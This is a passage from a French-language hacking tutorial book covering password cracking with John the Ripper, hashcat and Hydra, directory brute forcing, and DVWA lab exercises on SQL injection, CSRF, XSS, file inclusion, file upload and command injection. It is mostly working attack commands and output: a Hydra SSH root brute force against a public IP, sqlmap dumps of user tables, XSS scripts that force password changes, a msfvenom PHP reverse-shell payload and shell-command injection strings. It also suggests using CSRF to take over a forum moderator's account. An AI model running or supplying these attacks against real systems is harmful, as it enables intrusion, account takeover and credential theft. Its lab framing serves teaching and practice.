avantages, comme la reconnaissance du hash, le fonctionnement sur de multiple
types de hash et de multiple plateformes.
Il dispose également de plusieurs méthodes d’attaque :
• Crack seul : le mode le plus rapide pour les fichiers de mot-de-passe
• Dictionnaire : compare les hash avec un fichier de possibilité
• Incrémentale : essaye toutes les possibilités, ce qui est très long

C’est trois techniques peuvent se mettre en commande, et s’exécuter très


simplement :

157
$ john --single pass.txt

$ john pass.txt --wordlist=[chemin]

$ john --incremental pass.txt

Une fois le travail effectué, pour voir le résultat, tapez simplement :

$ john --show pass.txt

Afin de gagner un peu de temps, vous pouvez préciser le type de hash que vous
allez donner à john :

$ john --single pass.txt --format=RAW-MD5

Vous pouvez obtenir la liste des formats supportés avec :

$ john --list=formats

Laissez-moi dès à présent vous montrer un cas bien pratique d’utilisation de JtR.
Avec ce logiciel, il devient très facile de contourner les mots de passe d’une
archive zip.

Par exemple, créons une archive avec cette commande :

$ zip -e -r pass.zip pass.txt

Le programme vous demande alors de saisir un mot de passe, puis de le vérifier.


Je vous encourage à en mettre un pas très long afin de ne pas surcharger John
lors de ce petit exercice.

On va à présent utiliser la commande zip2john pour créer un hash à partir de


cette archive. Sur certaines installations, la commande peut être john-the-
ripper.zip2john :

$ zip2john pass.zip > hash.txt

Notre nouveau fichier contient à présent le hash de l’archive, il n’y a plus qu’à le
cracker simplement avec cette commande :

$ john --format=zip hash.txt

Vous n’avez plus qu’à récupérer le mot-de-passe avec la commande plus haute.

158
II. Hashcat, l’attaque au GPU

Hashcat est également un logiciel de BruteForce très utilisé par les communautés
de Hackers. Sa grande différence avec john est que, bien qu’il soit possible de le
faire fonctionner sur le CPU, il fonctionne majoritairement sur la carte graphique
(GPU). Ainsi, il va nous falloir quelques instructions en plus pour le faire
fonctionner parfaitement. D’abord installons-le avec :

# apt install hashcat

Nous allons également recourir à un deuxième paquet qui sera très utile pour
beaucoup d’opérations : https://github.com/hashcat/hashcat-utils.git

Vérifiez ensuite si hashcat est pris en charge par votre carte graphique avec cette
commande :

# hashcat -I

Si elle renvoie ceci :

hashcat (v5.1.0) starting...

No devices found/left.

C’est qu’il va falloir installer les drivers de votre carte graphique. Quelques
instructions sont présentes ici : https://hashcat.net/hashcat/

Je possède un intel i915, si c’est aussi votre cas, vous trouverez votre bonheur ci-
dessous…
https://registrationcenter-download.intel.com/akdlm/irc_nas/vcp/15532/l_opencl_p_18.1.0.015.tgz

Pour avoir un peu plus d’informations sur hashcat, le mieux reste encore de jeter
un œil à sa documentation :

$ hashcat -h

On remarquera que les paramètres les plus imortants sont en haut du tableau. En
effet, -a et -m respectivement utilisé pour rentrer en mode attaque et pour
spécifier le type de hash seront souvent présents dans vos instructions.
Vous avez ensuite la liste des algorithmes pris en charge. Le nombre présent sur
la colonne de gauche correspond au nom de l’algorithme que vous allez essayer
de cracker. Vous avez les formats de hash, les modes d’attaques, le branchement

159
de l’attaque sur le GPU ou le CPU, les performances de la machine allouées à
l’exécution et enfin quelques exemples d’utilisation.

Je n’ai presque rien à ajouter, à part appliquer à hashcat notre exemple de tout à
l’heure. Si l’on reprend notre fichier pass.txt, la commande pour cracker le mot-
de-passe présent à l’intérieur sera alors :

$ hashcat -m 0 -a 0 -o resultat.txt pass.txt richelieu.txt

Ici j’utilise l’algorithme MD5, en mode d’attaque par dictionnaire. Le résultat sera
placé dans le fichier resultat.txt, après avoir décrypté le fichier pass.txt grâce à la
liste de mots (dictionnaire) richeulie.txt.

Comme pour John The Ripper, je vais vous présenter une utilisation un peu plus
pratique de Hashcat.

Vous vous rappelez du chapitre sur les réseaux wifis ? Eh bien il est temps de
passer à l’étape supérieure avec hashcat en augmentant la rapidité du crack. Pour
ce faire, nous avons besoin du fichier contenant le handhake et nous allons le
passer dans un des programmes de hashcat-utils. En effet, le handshake sera
dans le fichier avec l’extension .cap. Hashcat ne comprenant pas ce genre de
fichier, il va falloir le convertir avec hcat-utils en hccapx. Allez dans le dossier /src
du dépôt hashcat-utils, puis tapez :

$ ./cap2hccapx [fichierCap] [sortieHccapx]

Le premier chemin est celui vers votre fichier .cap, le deuxième sera pour le nom
du fichier dans lequel écrire.

Il va falloir ensuite trouver le mode que hashcat va utiliser :

$ hashcat --help

Ici, on cherche le protocole WPA, vous pouvez ajuster la sortie du manuel avec
grep. SI vous n’y arrivez pas, voici la réponse :

2500 | WPA-EAPOL-PBKDF2 Network Protocols

Une fois choisi, tapez :

# crunch [min] [max] [chaîne] (options) | hashcat -m 2500


[fichierHccapx]

Avec Hashcat, la rapidité de votre ordinateur devrait accrue. Elle dépendra cette
fois-ci de la puissance de votre carte graphique.

160
III. Hydra, l’attaque de services

Passons à présent à un logiciel de BruteForce un peu moins utilisé que les deux
autres, Hydra. Hydra sert majoritairement à attaquer des services pour trouver un
mot de passe, là ou les deux autres sont utilisés pour le crack sur des hash
présents sur la machine.

Pour installer Hydra :

# apt install hydra

Je vous conseille de faire comme avec hashcat et de jeter directement un œil à


l’aide qui est plutôt bien remplie :

$ hydra -h

Vous avez la liste des services pouvant être attaqués par hydra en dessous de
supported services, ainsi que quelques exemples d’utilisation à la fin. On en
déduira qu’une des syntaxes les plus couramment utilisées est la suivante :

$ hydra -l [nomUtilisateur] -P [dictionnaire] [IP] [service]

Un rapide exemple pour la route. Si je veux trouver le mot de passe du super-


utilisateur sur la machine 80.74.144.93 :

$ hydra -l root -P 1millionProbable.txt -s 2121 80.74.144.93 ssh

Il me faut tout de même faire un petit aparté sur les services Web puisque ceux-ci
ont une syntaxe un peu particulière :

$ hydra -l [nom] -P [dictionnaire] [IP] http-post-form “[chemin]:


[var1]=[val1]&[var2]=[val2](&[plus2parametres]):[Echec]”

Expliquons cette commande qui est assez grosse pour le coup :


α -l correspond au nom d’utilisateur
α -P au dictionnaire
α [IP] à l’adresse de celui que vous attaquez
α http-post-form au service que vous attaquez. Attention cependant, HTTP et
HTTPS ne sont pas les mêmes services et prendront respectivement http-
post-form et https-post-form
α [chemin] représente le dossier du serveur web vers lequel est envoyé le
formulaire. Vous le trouverez dans l’en-tête de la requête
α [var1] et [var2] sont des variables qui prennent respectivement les valeurs
[val1] et [val2]

161
α [plus2parametres] sont les paramètres supplémentaires à l’exécution de la
requête
α [Echec] représente la phrase qui s’affiche en cas de mauvais mot de passe.

Si certains mots ne vous paraissent pas clairs, tous ces termes ainsi que de plus
amples explications sont présents dans la partie sur les requêtes HTTP modéfiées.

Comme un exemple vaut mieux qu’un long discours, voici ce que cette
commande peut donner :

$ hydra -l Administrateur -p ent 172.17.200.30 http-post-form


"/login:user=^USER^&password=^PASS^:Échec de la connexion (nom
d’utilisateur ou mot de passe non valide)"

Ainsi, ^USER^ prendra la valeur de -l (ou -L) et ^pass^ la valeur de -p (ou -P).

Vous voilà maintenant prêts à pouvoir contourner n’importe quel mécanisme de


sécurité. Cependant, gardez bien à l’esprit que cette méthode doit constituer le
dernier recours de l’exploitation et non pas la stratégie de base. Elle s’avère
pratique pour récupérer un maximum de mot-de-passe hashé dans une base de
données, mais inutile pour récupérer les identifiants du super-utilisateur sur le
service SSH quand d’autres méthodes sont disponibles sur la machine.

IV. Bonus : Découvrir les répertoires cachés d’un site

Un service web est un dossier comportant plusieurs ressources que le client peut
consulter. Bien souvent, il s’agit de document HTML, XML, PHP ou de simples
textes, mais il peut s’agir d’autres types de fichier (CSS, JavaScript, Musique,
Images, Vidéos, etc.).
Il demeure cependant un problème, nous ne pouvons pas nous promener
librement sur le site sans avoir l’URL exacte pour consulter une ressource. Cela ne
pose pas de soucis quand elles sont indexées (mises en lien sur une page), mais
lorsque l’administrateur cache volontairement des informations, il est plus difficile
de les retrouver.

Ainsi, le logiciel DirBuster répond à ce problème en essayant chaque possibilité


d’URL que vous lui donnerez. Autrement dit, il va vérifier si tels ou tels pages
existent selon le dictionnaire que vous lui avez donné.
Vous le trouverez ici : https://sourceforge.net/projects/dirbuster/
Une fois décompressé, le dossier comporte plusieurs listes ainsi que le logiciel
sous le format .jar, il faut avoir Java d’installer pour le lancer, vous trouverez
suffisamment d’informations sur Internet pour savoir comment faire.

162
Lancer DirBuster :

$ java -jar DirBuster-0.12.jar

Ici, nous nous pencherons uniquement sur une utilisation classique de DirBuster,
libre à vous d’approfondir derrière. Pour se faire :
α Dans Target URL, rentrez le nom du site à attaquer.
α Number of threads désigne la puissance allouée à l’attaque (le nombre de
threads qui seront utilisés par le programme
α Select scanning type permet de choisir la méthode de bruteforce entre
l’utilisation d’un dictionnaire ou la génération de mot de passe (comme
avec crunch). Il faut ensuite remplir les champs en dessous selon ce que
vous voulez.
α Dir to start représente le dossier à partir duquel attaquer. À savoir que le /
présent veut dire que vous commencez avec la racine.
α File extension désigne les extensions qui seront recherchées, séparez-les
d’une virgule sans espace. Les dossiers seront obligatoirement visés.

Une fois tout cela rempli, appuyez sur Start, le programme fait le reste du boulot.

D’autres logiciels, un peu plus modernes, existent et peuvent constituer de


bonnes alternatives à DirBuster si l’installation de java vous effraie. Par exemple :
https://github.com/stefanoj3/dirstalk.

Par apport aux autres méthodes de BruteForce, la recherche de dossiers cachés


sur un site web est indispensable. Elle peut vous donner accès à des panels
secrets et à des interfaces de connexion bien gardées.

163
Les attaques du Web
Puisque la pratique permet toujours un meilleur apprentissage, je vous
propose de vous exercer à l’aide d’un site internet. Nous allons, ici, utiliser DVWA,
mais d’autres alternatives existent.

Installez d’abord le serveur web XAMPP pour avoir tous les services web
préinstallés : https://www.apachefriends.org/index.html. N’oubliez pas en lançant
le service web de tuer les autres qui peuvent déjà être en fonction.

Puis, aller télécharger le logiciel à cette adresse : https://dvwa.co.uk/

Une fois cela fait, extrayez l’archive et copiez-la sur la racine du serveur web :

$ unzip DVWA-master.zip
# mv DVWA-master /opt/lampp/htdocs/dvwa

Il va falloir configurer le logiciel, utilisez votre éditeur dans le fichier


config.inc.php :

$ cd /opt/lampp/htdocs/dvwa/config
# nano config.inc.php

Repérer les lignes suivantes dans le fichier :

$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';

Modifiez les lignes « db_user » et « db_password » pour obtenir ceci :

$_DVWA[ 'db_user' ] = 'root';


$_DVWA[ 'db_password' ] = '';
Sauvegardez le fichier de configuration et rendez-vous ensuite sur le site suivant
http://localhost/dvwa.

164
Naviguez jusqu’au bas de la page et appuyez sur le bouton « Create / Reset
Database ». Le site devrait vous demander des identifiants. Rentrez « admin »
pour le nom d’utilisateur et « password » pour le mot de passe. Une fois la page
d’accueil ouverte, allez dans l’onglet « DVWA Security » et mettez la à « Low »
pour commencer.

Maintenant que votre laboratoire est créé, il est l’heure de commencer :)

Injection SQL
Les injections SQL sont un mode d’attaque Web qui vide à récupérer les informations
d’une base de données ne nous appartenant pas. Si certains Hackers préfèrent les faire à la
main, nous nous contenterons de voir le résultat automatisé avec sqlmap.

Les deux premières parties seront un récapitulatif du fonctionnement d’un serveur Web ainsi
que la manière dont se déroulera le TP (il faut bien s’entraîner).

I. Fonctionnement d’un serveur Web

Les serveurs Web gèrent deux plans de travail, le côté client et le côté serveur. Les deux
peuvent posséder de lourdes failles, mais ici, seul le côté serveur va nous intéresser.
Quand vous effectuez une requête sur un site, celui-ci utilise plusieurs langages de
programmation :
α HTML, le langage informatique (et non de programmation) qui va décrire les éléments
présents sur la page. C’est lui qui va permettre d’afficher des paragraphes ou des
tableaux.
α CSS, autre langage informatique qui gère la mise en page. Il va donner le style des
éléments présents, leur position ainsi que des animations.
α JavaScript, à ne pas confondre avec Java, il permet la gestion de code côté client.
Pratique pour faire des animations plus puissantes, bien que le langage se soit
complexifié avec des extensions comme React ou Node, il reste tout de même
beaucoup plus utilisé pour la gestion du DOM (document object model)
α PHP, il s’agit du langage côté serveur le plus utilisé, bien qu’il ne soit pas apprécié par
les nouvelles générations de développeurs. Il n’est pas très complexe, mais peut
représenter un moyen très facile d’accès à la machine lorsqu’il est mal programmé.
α SQL, le langage qui possède la quasi-totalité des parts de marchés chez les
gestionnaires de Base de donnée. Il va faire la liaison entre un code côté serveur
(comme PHP) et la base de donnée à laquelle il est relié.

Il existe d’autres langages, mais ceux-ci demeurent moins démocratisés. Cependant, je vous
recommande de vous intéresser à ces nouvelles technologies car le marché pourrait évoluer
en leur faveur !

165
Puisque un dessin vaut mieux qu’un long discours, en voici deux :

Requête côté client :

Requête côté serveur :

Ainsi, lorsque vous formulez votre demande à un serveur Web, si celui-ci possède PHP + SQL,
alors la page sera chargée à l’aide de PHP qui ira chercher des informations (quand il en a
besoin) dans la base de donnée avec SQL.

Autrement dit, ceci :

166
II. Injection avec sqlmap

Sqlmap est un logiciel qui permet l’automatisation des dites injections. Il va nous
permettre en l’occurrence de récupérer le plus d’informations que possible à l’intérieur des
bases de données. Nous nous baserons dans la suite de ce tutoriel sur l’onglet « SQL
Injection » de DVWA.

Pour commencer :

$ python3 sqlmap.py -u http://localhost/index.php?id=4 --dbs

Cette commande va nous permettre de lister les bases présentes sur le serveur.

Quelques petites explications s’imposent :


Le programme se lance à l’aide de python (j’utilise la version 3, qui est à ce jour la plus
récente). Le paramètre -u permet de rentrer une URL à inspecter et --dbs va ordonner à
sqlmap de chercher les différentes bases de données.

Vous pouvez voir qu’à l’intérieur de l’URL, un paramètre PHP est donné (id). Ici, on lui assigne
la valeur 4 mais ceci a peu d’importance. En revanche, vous allez être obligé de spécifier un
paramètre d’URL que vous pensez être une faiblesse.

Comment savoir s’il y a une faille ? Rien de plus simple, est ce que quand vous modifier la
valeur associer à ce paramètre dans l’URL, la page se trouve être changer ? Si c’est le cas, il y a
de forte chance pour que la page face une requête SQL à l’aide de cette valeur (ou alors la
page est changée avec une condition PHP).

Eh bien, il va falloir spécifier ce que vous pensez défaillants. S’il y en a plusieurs, séparez les
d’un & comme dans les URL…

sqlmap devrait vous demander des informations supplémentaires au cours de son exécution,
à vous de juger ce qui vous semble bon pour continuer :)

Ceci devrait renvoyer le nom des différentes bases :

available databases [12]:


[*] baseTweet
[*] chat
[*] hidden
[*] humanite
[*] information_schema
[*] injection_db

167
[*] mysql
[*] opentube
[*] parmisnous
[*] performance_schema
[*] phpmyadmin
[*] test

J’utilise quotidiennement mon serveur, donc rien d’étonnant à voir plus de bases de mon
côté…

Après avoir obtenu le nom des différentes bases, il nous faut lister les différentes tables.

Sur MySQL, les tables sont des tableaux où sont regroupées les informations. Une base peut
avoir plusieurs tables.

Lister les tables :


$ python3 sqlmap.py -u http://localhost/index.php?id=4 -D
injection_db --tables

-D va permettre de dire dans quelle base regarder et --tables va spécifier que l’on souhaite
obtenir les tables de cette base.

On obtient donc :

[1 table]
+--------------+
| user_details |
+--------------+

Ce qui veut dire que dans ma base injejection_db se trouve la table user_details.

On va dès à présent lister les colonnes présentes sur la table :

$ python3 sqlmap.py -u http://localhost/index.php?id=4 -T


user_details --columns

-T dit que l’on cherche dans une table (ici user_details) et --columns spécifie que l’on veut
récupérer les colonnes.

Les colonnes sont les différentes catégories de votre table et vont ici nous permettre de savoir
quels genres d’informations sont stockées.

168
Vous devriez obtenir ceci :

Database: injection_db
Table: user_details
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| first_name | varchar(50) |
| gender | varchar(10) |
| last_name | varchar(50) |
| password | varchar(50) |
| status | tinyint(10) |
| user_id | int(11) |
| username | varchar(255) |
+------------+--------------+

On connaît dès à présent les différents types des différentes colonnes. Explications :
α varchar : il s’agit d’une chaîne de caractère limiter en taille entre 1 et 255
α int : ce sont les nombres
α tinyint : des nombres mais plus petits en tailles. Attention, il ne faut pas confondre
taille et grandeur du nombre. La taille signifie le nombre de caractères de long qu’il fait
et la grandeur représente sa distance par apport à zéro.
α Text : Un texte pouvant être infini (tout de même limiter par le stockage de la machine,
mais on reste assez large)

Cela peut paraître inutile, mais elles permettent d’avoir plus d’informations sur l’évolution que
peut avoir la base. Vient ensuite le moment le plus intéressant, lister le contenu de la table :

$ python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --dump

Il s’agit de la même commande que la précédente, il faut juste remplacer --columns par --
dump qui veut dire que l’on souhaite récupérer le contenu.

On peut ensuite se balader librement dans les données :


+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| user_id | gender | status | password | username | last_name | first_name |
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| 1 | Female | 1 | e6a33eee180b07e563d74fee8c2c66b8 | rogers63 | john | david |
| 2 | Male | 1 | 2e7dc6b8a1598f4f75c3eaa47958ee2f | mike28 | paul | rogers |
| 3 | Male | 1 | 1c3a8e03f448d211904161a6f5849b68 | rivera92 | john | david |
| 4 | Male | 1 | 62f0a68a4179c5cdd997189760cbcf18 | ross95 | sanders | maria |
| 5 | Female | 1 | 61bd060b07bddfecccea56a82b850ecf | paul85 | miller | morris |
| 6 | Female | 1 | 7055b3d9f5cb2829c26cd7e0e601cde5 | smith34 | michael | daniel |
| 7 | Female | 1 | b7f72d6eb92b45458020748c8d1a3573 | james84 | paul | sanders |
...

169
III. Avec la méthode POST

Il est un peu plus compliqué d’injecter avec la requête POST. En effet, il va falloir préparer un
fichier comportant l’ensemble des données qui peuvent être envoyées et que sqlmap va
inspecter quels sont les paramètres injectables.

Pour ce faire, il faut juste remplir le formulaire et l’envoyer. Inspecter l’envoie de la requête
dans l’inspecteur de Firefox (ou Chrome, Brave, Opera, etc.), dans l’onglet Network (Réseau),
sélectionnez l’envoi POST qui est apparue puis afficher l’en-tête en mode texte (appuyez sur
interrupteur raw à côté de Request Headers).

Faites un Copier coller dans un fichier texte et ajoutez-y  


les informations de la partie Request du sous menu de  
Network.

Celle-ci comprend les informations transmises avec la  


méthode POST. Copiez juste ce résultat à l’intérieur de  
votre fichier texte

170
Une fois votre beau fichier texte prêt, il est temps de le faire inspecter par sqlmap :

$ python3 sqlmap.py -r ~/postrequest.txt -p name

-r sert à rentrer le chemin vers votre fichier et -p décrit le ou les paramètres que vous pensez
être vulnérables.
Sqlmap va donc tenter de trouver des failles qu’il vous renverra. Il les exploitera plus tard ou
vous les offre pour que vous puissiez le faire manuellement.
On va ensuite se servir des vulnérabilités trouvées pour dire à sqlmap de les utiliser afin de
retrouver la base de données :

$ python3 sqlmap.py -r ~/postrequest.txt --dbms mysql --current-db

--dbms nous permet de spécifier quel logiciel de bases de donnée est utilisé, cela va nous
permettre de gagner du temps. Pour le trouver, la commande précédente vous la
normalement donnée :

[INFO] the back-end DBMS is MySQL

--current-db ordonne à sqlmap de chercher la base de donnée auquel le paramètre que nous
avons donné précédemment est envoyé.
Elle nous est donnée ici :

current database: 'injection_db'

Le reste des commandes ne requiert pas plus d’explications. Il s’agit des mêmes qu’avec la
méthode GET :

Récupérer les tables :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -D injection_db


--tables

Pour les colonnes :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details


--columns

Et enfin, les données :

python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details


--dump

Maintenant que vous savez utiliser sqlmap, je vous conseille de vous orienter vers
une représentation concrète de l’attaque dans le chapitre sur le langage SQL.

171
Cross Site Request Forgery (CSRF)

L’attaque CSRF est très particulière tout simplement car elle révèle tout le
côté social du hacker. En effet, avec la CSRF, il s’agit plus d’un jeu de
manipulation que d’un véritable coup de génie.

Cette attaque consiste à fabriquer une URL exécutant une action sur la
machine de la victime. Un exemple rapide et pas très dangereux pour
comprendre, il existe une URL sur Google permettant de changer la langue de
l’utilisateur. Ceci ne représente en rien un problème de sécurité, mais vous
pouvez parfaitement changer la langue du moteur de recherche de quelqu’un en
lui envoyant ce lien (rien de risqué, vous pouvez essayer) :

https://www.google.com/setprefs?sig=0_MpQ70NiX5Czvd-pT3S1Ts1HBr9g
%3D&hl=ru&source=homepage&sa=X&ved=0ahUKEwjdleK7k_nyAhWvz4UKHYi8
Ak0Q2ZgBCA4

L’exemple de DVWA est très pratique puisqu’il met en évidence une faille très
importante : l’URL a la possibilité de modifier le mot de passe d’un utilisateur.

Les mots de passe que vous allez changer sur la page se feront avec
! l’identifiant admin. Vous êtes en train de modifier le mot de passe de la
page d’accueil de DVWA.

Si on essaye de changer le mot de passe par 1234, notre URL est changée en :

http://localhost/dvwa/vulnerabilities/csrf/?
password_new=1234&password_conf=1234&Change=Change

Appuyez sur le bouton « Test Credentials » pour essayer votre nouveau mot de
passe avec l’identifiant admin. Normalement, cela devrait vous signaler un
succès.

Reprenons l’URL de tout à l’heure et modifions-la un peu :

http://localhost/dvwa/vulnerabilities/csrf/?
password_new=ent&password_conf=ent&Change=Change

Cette fois-ci, le mot de passe n’est plus 1234 mais « ent ». Nous n’avons pas
rentré le mot de passe dans le champ prévu à cet effet sur la page, et l’avons
directement fait dans l’URL. Si nous essayons de nous reconnecter sur la page
« Test Credentials », rien à signaler, le mot de passe est bien « ent ».

172
L’URL a donc le pouvoir de modifier mon mot de passe en « ent » pour peu que je
la rentre dans mon navigateur. Imaginez maintenant que vous êtes un utilisateur
lambda d’un forum et que vous souhaitiez gagner l’accès au compte d’un
modérateur. Si le mécanisme pour se connecter et le même, vous n’avez qu’à lui
envoyer le lien permettant de modifier le mot de passe pour ensuite accéder à
son compte.

Cette attaque est juste parfaite quand elle est couplée avec la suivante…

Cross Site Scripting (XSS)

L’attaque XSS, pour Cross site scripting (on met XSS et non CSS, car CSS est
langage informatique servant à styliser les pages web), est une attaque qui vient
impacter le client des victimes. Avec cette méthode, on va découvrir comment
envoyer du code JavaScript au serveur pour qu’il puisse l’exécuter
malicieusement sur le client de nos victimes.

Afin de commencer en douceur, prenez l’onglet « XSS (Reflected) » de DVWA. La


page affiche alors un champ de texte où vous pouvez rentrer votre nom. Très vite
après l’avoir fait, on remarque que l’URL est agrémentée d’une variable contenant
le texte rentré : http://localhost/dvwa/vulnerabilities/xss_r/?name=bob

Notre cerveau de professionnel de la sécurité (je n’en doute pas) voit tout de suite
qu’il y a une injection à faire. Si vous ne trouvez pas tout de suite la faille, ce n’est
pas grave, la plus grande partie de votre temps sera plus tard de toutes façons
mobilisée à chercher ces nombreuses failles et à essayer de les exploiter. Ici, on
peut se dire que le code vient tout simplement coller le contenu de la variable sur
la page. Pour vérifier notre hypothèse, essayons de modifier la requête :

http://localhost/dvwa/vulnerabilities/xss_r/?name=<i>bob</i>

On remarque que les balises <i></i> (qui servent à mettre un texte en italique)
sont collés avec le texte, ce qui produit un nom en italique côté client. Si mettre
du texte en italique lorsque vous voulez écrire votre prénom peut amuser la
galerie cinq minutes, je conçois que vous puissiez être intéressé par quelque
chose de plus grandiose. Commençons donc à écrire un script :

<script>alert("Vulnérabilité XSS détectée !");</script>

173
Collons de suite cette ligne à notre URL :

http://localhost/dvwa/vulnerabilities/xss_r/?name=bob<script>alert("Vulnérabilité
XSS détectée !");</script>

Vous pouvez voir qu’une boîte de dialogue apparaît sur la page. Grâce à
l’exécution de JavaScript, les possibilités de l’attaque XSS deviennent immenses.
En plus des poncifs habituels (vol de cookie, vol d’identifiant), vous avez la
possibilité de casser des sites avec une simplicité… Et parfois ça peut vraiment
tourner au désastre, le cas du sondage de Mtn Dew en est la preuve :

De plus, rappelez-vous ce que je vous ai dit dans la partie précédente sur la CSRF,
l’attaque XSS va nous être utile. En effet, tout le côté ingénierie sociale qui
rendait cette attaque compliquée (envoyer un lien est parfois très risqué) est ici
annulée puisque vous avez la possibilité d’effectuer votre requête directement

174
avec JavaScript. Par exemple, avec la vulnérabilité de DVWA, il n’y aurait qu’à
taper cette ligne de code suivante :

<script>
    location.href = "http://localhost/dvwa/vulnerabilities/
csrf/?password_new=1234&password_conf=1234&Change=Change";
</script>

Cependant, vos attaques XSS ne sont pas encore très performantes. Vous devez
toujours envoyer l’URL à quelqu’un pour que son navigateur exécute le code
malicieux. Jetons un œil sur l’onglet « XSS (stored) » de DVWA. En face de vous se
trouve maintenant une page avec deux champs de texte, ressemblant à s’y
méprendre à un espace commentaire.

Ici, le principe reste le même que précédemment, mais à la place de modifier


l’URL, vous allez devoir rentrer votre code dans le champ de texte. Cette méthode
est beaucoup plus pratique, car une fois le message posté, l’ensemble des
personnes visitant la page exécuteront votre code, plus besoin de leur envoyer
une obscure missive donc !

Pour ce qui concerne la partie « XSS (DOM) », celle-ci est un peu plus complexe
car nécessitant des connaissances en JavaScript un peu plus poussées, je ne
l’aborderai donc pas ici afin de ne pas vous perdre…

Autres types d’exploitation

I. Directory Traversal (File Inclusion)

Cette partie se fera sur l’onglet « File Inclusion » de DVWA. Tout de suite, vous
remarquerez que l’URL présente une petite spécificité, le nom du fichier est passé
dans une variable PHP : http://localhost/dvwa/vulnerabilities/fi/?page=include.php.
Si l’on clique sur le bouton File1, l’URL se transforme mai garde toujours un nom
de fichier en paramètre : http://localhost/dvwa/vulnerabilities/fi/?page=file1.php.

Quelle conclusion peut-on en tirer ? Que le nom du fichier qui sera ouvert est
passé en variable dans l’URL (ici, page). Donc si l’on modifie ceci pour mettre un
chemin de fichier pointant vers un fichier externe au dossier, celui-ci, si la faille
est présente, devrait bien s’ouvrir et lire le contenu. Essayons de rentrer le
chemin relatif de la page d’accueil de DVWA pour l’afficher :

http://localhost/dvwa/vulnerabilities/fi/?page=../../index.php

175
On rappelle la différence entre chemin relatif et absolu : le chemin absolu est un
lien ne changeant pas peu importe le dossier dans lequel vous vous trouvez ; le
chemin relatif dépend de l’endroit où vous vous trouvez sur votre pc. Pour
rappelle sur Linux :

./ => Ce dossier
../ => Dossier parent
~ => Dossier personnel

Donc si l’on veut récupérer le contenu de la page d’accueil de DVWA, qui se situe
dans le dossier parent au dossier parent de la page dans laquelle nous nous
trouvons. C’est le chemin ../../index.php qui nous permet d’y accéder. Ce faisant,
vous pouvez accéder à n’importe quelles ressources du serveur Web, même celles
qui sont d’habitude fermées aux utilisateurs lambda.

II. Téléversement de fichier


L’onglet File Upload de DVWA vous permet de téléverser un fichier. Le problème
étant ici qu’aucune vérification n’est effectuée sur ledit fichier. Ainsi, à la place
d’une photo, rien ne vous empêche de fabriquer un trojan avec Metasploit et de le
téléverser :

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -


o payload.php

III. Injection de commande

Il existe une fonction en PHP nommée shell_exex() qui permet au code d’exécuter
une commande sur le serveur directement. Elle peut s’avérer très pratique pour
certaines actions et rend bien service aux développeurs, mais elle vient avec son
lot de failles. Que se passerait-il si quelqu’un arrivait à utiliser cette fonction et
pouvait exécuter du code sur notre serveur ?

Si on jette un rapide coup d’œil au code de la page, on remarque tout de suite la


faille qui devra être exploitée :

$cmd = shell_exec( 'ping  -c 4 ' . $target );

Vous l’avez ? Si ce n’est pas le cas, je vous ferais remarquer que $target ne subit
aucune vérification est que la variable est ajoutée directement à la fin de la

176
commande. Quelle conclusion en tirer ? Il est très facile d’injecter n’importe quelle
commande sur la machine.

Rappelez-vous, pour signaler la fin d’une commande sur Linux, on met un ; à la
fin :
$ mkdir build ; cd build
ou alors un && pour enchaîner sur une autre commande :

$ mkdir build && cd build

Ces deux lignes sont exactement les mêmes (créer un dossier « build » et y aller).

Mais reprenons notre exemple, lorsque l’on rentre une IP, voilà à quoi ressemble
notre commande :

ping -c 4 $target

Par exemple, avec l’IP 127.0.0.1 :

ping -c 4 127.0.0.1

On voit que $target vient prendre la valeur de ce que nous rentrons, mais le code
ne possédant pas de vérification, sommes-nous obligés de rentrer qu’un IP ? La
réponse est bien évidemment non, et c’est de là que provient la faille… Prenons
un deuxième exemple, rentrez « 127.0.0.1 && ls », la commande devient :

ping -c 4 127.0.0.1 && ls

Le site nous renvoie le résultat suivant :

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.


64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms

--- 127.0.0.1 ping statistics ---


4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
help
index.php
source

On a bien le résultat de la commande ping :

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

177
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms

--- 127.0.0.1 ping statistics ---


4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms

Et celui de ls :

help
index.php
source

Et ceci marche avec (presque) n’importe quelle commande. Bien sûr, l’intérêt
n’est pas très grand si c’est pour lister le contenu du dossier dans lequel vous
vous trouvez. Mais imaginez si vous aviez le moyen d’exécuter une commande
permettant le contrôle total de la session… C’est ce que vous avez vu dans le
tutoriel sur Metasploit !

Pour l’heure, essayez de bien comprendre ce que vous venez de lire. Essayez
plusieurs commandes sur DVWA, et si vous vous sentez prêt, passez au niveau
supérieur en changeant les paramètres dans l’onglet « DVWA security ». Je
recommande un bon niveau en Linux pour continuer cependant.

IV. XML External Entity (XEE)

178
Exploitation du système

Automatisation des taches avec Shell

Cette partie cous paraîtra totalement inutile pour le moment. Sautez-la et


revenez-y quand elle vous semblera indispensable.
Automatisez des tâches, c’est le fondement même de l’informatique, et cela vous
sera d’autant plus utile quand il faudra effectuer de multiples manips avec très
peu d’intervalle entre chacune, que cela soit sur votre machine ou sur celle de
